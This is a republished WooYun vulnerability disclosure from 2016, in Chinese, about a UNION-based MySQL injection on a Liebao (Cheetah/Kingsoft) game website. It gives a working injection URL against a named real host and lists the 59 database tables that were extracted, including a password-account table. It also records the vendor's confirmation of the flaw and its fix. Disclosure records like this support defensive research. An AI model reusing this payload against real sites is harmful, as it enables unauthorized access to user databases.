猎豹某站点MySQL注射(支持union)

admin
admin
admin
140350
文章
117
评论
2017年4月2日06:43:35评论297 views字数 209阅读0分41秒阅读模式
摘要

2016-03-25： 细节已通知厂商并且等待厂商处理中
2016-03-25： 厂商已经确认，细节仅向厂商公开
2016-04-04： 细节向核心白帽子及相关领域专家公开
2016-04-14： 细节向普通白帽子公开
2016-04-24： 细节向实习白帽子公开
2016-05-09： 细节向公众公开

漏洞概要 关注数(26) 关注此漏洞

缺陷编号： WooYun-2016-188825

漏洞标题： 猎豹某站点MySQL注射(支持union)

相关厂商： 金山毒霸

漏洞作者： lijiejie猎豹某站点MySQL注射(支持union)

提交时间： 2016-03-25 09:03

公开时间： 2016-05-09 10:05

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 12

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

2人收藏

漏洞详情

披露状态：

2016-03-25： 细节已通知厂商并且等待厂商处理中
2016-03-25： 厂商已经确认，细节仅向厂商公开
2016-04-04： 细节向核心白帽子及相关领域专家公开
2016-04-14： 细节向普通白帽子公开
2016-04-24： 细节向实习白帽子公开
2016-05-09： 细节向公众公开

简要描述：

猎豹某站点MySQL注射(支持union)

详细说明：

猎豹某站点MySQL注射(支持union)

漏洞证明：

http://wan.liebao.cn/action/wy/rank.php?sid=1&rktype=1 and 1=2 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x232323,user(),0x232323),NULL,NULL,NULL,NULL,NULL--&sid=1

猎豹某站点MySQL注射(支持union)

code 区域 
Database: cq_actor1
 [59 tables]
 +-------------------+
 | accountpsw        |
 | actoralmirahitem  |
 | actorbagitem      |
 | actorbinarydata   |
 | actorbrother      |
 | actorconsignment  |
 | actordeath        |
 | actordeathdrop    |
 | actordepotitem    |
 | actordmkjitem     |
 | actorequipitem    |
 | actorfollowpet    |
 | actorfriends      |
 | actorgemitem      |
 | actorgodpet       |
 | actorguild        |
 | actorinvestment   |
 | actormagicitem    |
 | actormsg          |
 | actornewtitle     |
 | actoroffer        |
 | actorpetitem      |
 | actorpets         |
 | actorrelation     |
 | actorrune         |
 | actors            |
 | actorvariable     |
 | actorwarchariot   |
 | brothgrouplist    |
 | combatgame        |
 | combatrecord      |
 | diamond           |
 | dragonball        |
 | dragonsoul        |
 | filternames       |
 | friendchatmsg     |
 | friends           |
 | gameserveraddress |
 | gamesetdata       |
 | gemsuit           |
 | godwealthevent    |
 | goingquest        |
 | guildevent        |
 | guildlist         |
 | guildskill        |
 | guildstore        |
 | guildstorerecord  |
 | guildwar          |
 | guildwarhistory   |
 | jobcount          |
 | mail              |
 | periodride        |
 | petskills         |
 | repeatquest       |
 | rideequipitem     |
 | skill             |
 | toprank           |
 | useritem          |
 | zycount           |
 +-------------------+

修复方案：

参数过滤，类型转换

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-25 10:05

厂商回复：

感谢提交，多谢关注金山安全，马上跟进处理

最新状态：

2016-03-25：感谢您的反馈，我们已经修复该漏洞

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-25 09:08 | missy ( 普通白帽子 | Rank:854 漏洞数:227 | .....-3-3-3-3-3-3-3-3-3-3-3-3-3)

    1

    好早

  2. 2016-03-25 09:17 | 雅柏菲卡 ( 普通白帽子 | Rank:1299 漏洞数:259 | 雙魚座聖鬥士雅柏菲卡)

    1

    李姐姐 早上好

  3. 2016-03-25 10:34 | tangtanglove ( 路人 | Rank:20 漏洞数:7 | 一个对安全感兴趣的屌丝phper)

    1

    李姐姐 早上好

  4. 2016-03-25 11:32 | 404notfound ( 普通白帽子 | Rank:417 漏洞数:115 | 考研中，有事请留言)

    1

    早

  5. 2016-03-25 14:33 | Rand0m ( 实习白帽子 | Rank:42 漏洞数:11 | 竟然还有人冒充我，醉了，骗子QQ：44569754...)

    1

    李姐姐 早上好

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin